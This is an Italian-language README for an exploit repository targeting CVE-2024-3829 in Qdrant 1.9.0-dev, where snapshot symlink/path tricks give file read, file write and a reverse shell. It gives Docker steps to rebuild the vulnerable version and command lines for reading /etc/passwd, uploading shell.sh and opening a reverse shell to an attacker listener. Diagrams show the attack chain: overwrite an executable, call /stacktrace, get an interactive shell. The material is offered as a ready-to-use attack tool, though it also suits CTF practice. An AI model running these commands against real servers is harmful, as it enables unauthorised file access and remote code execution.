
CVE-2024-3829
########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
_______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______
| || | | || | | || _ || || | | | | | | _ | | || _ |
| || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | |
| || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| |
| _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ |
| |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | |
|_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___|
############################################### by fabse-hack.de ###############################################
Questo repository documenta e dimostra CVE-2024-3829 per qdrant/qdrant (v1.9.0-dev)
La vulnerabilità consente la manipolazione degli archivi di snapshot tramite trucchi con symlink/percorsi. Ciò abilita due classi di impatto e una reverse shell hahhaa:
A seconda dell'ambiente, le primitive di scrittura file possono portare all'esecuzione di codice.
1.9.0-devQuesta versione non è più disponibile nel world wide web (alcuni lo chiamano "internet").
Nel repository di qdrant, il report NVD Nist indicava il commit, che è la v1.9.0-dev vulnerabile.
Se vuoi installare questa versione per CTF / altri scopi su un docker, usa:
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
cve_2024_3829.py - Exploit per il flusso di lettura/scrittura/triggerrequirements.txt - Dipendenze PythonrequestsInstallazione:
python3 -m pip install -r requirements.txt
Mostra tutte le opzioni:
python3 cve_2024_3829.py -h
Esempi:
# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
-h, --help: mostra l'aiuto della CLI-m, --mode: uno tra read, write, reverse_shell (obbligatorio)-tu, --target_url: URL base di Qdrant (default nello script)-tp, --target_port: porta del target Qdrant (default: 6333)-tpath, --target_path: percorso remoto del target (default: /etc/)--target_url dovrebbe essere l'URL base senza la porta finale se passi --target_port separatamente, perché lo script costruisce gli URL come <url>:<target_port>/....read, lo script combina --target_path e --target_file_name (ad esempio /etc/ + passwd).write, --attacker_path deve puntare a un file locale esistente e --attacker_file_name definisce il nome remoto del file.sequenceDiagram
participant Attacker
participant Exploit
participant Target
participant Listener
Attacker->>Exploit: Start exploit script
Exploit->>Listener: Start TCP listener
Exploit->>Target: Create malicious collection
Exploit->>Target: Upload trigger script
Exploit->>Target: Overwrite executable
Exploit->>Target: Call /stacktrace endpoint
Target->>Listener: Reverse shell connection
Listener->>Attacker: Interactive shell access
flowchart TD
Start[Start Listener]
Bind[Bind to attacker port]
Listen[Wait for connection]
Accept[Accept incoming connection]
Interactive[Interactive shell session]
End[Connection closed]
Start --> Bind
Bind --> Listen
Listen --> Accept
Accept --> Interactive
Interactive --> End
-tf, --target_file_name: nome del file remoto del target (default: passwd)-ai, --attacker_ip: IP di callback/listener per la modalità reverse shell-ap, --attacker_port: porta di callback/listener (default: 9001)-apath, --attacker_path: percorso locale del file dell'attaccante per la modalità write (default: /tmp/)-af, --attacker_file_name: nome del file utilizzato sul target in modalità write (default: shell.sh)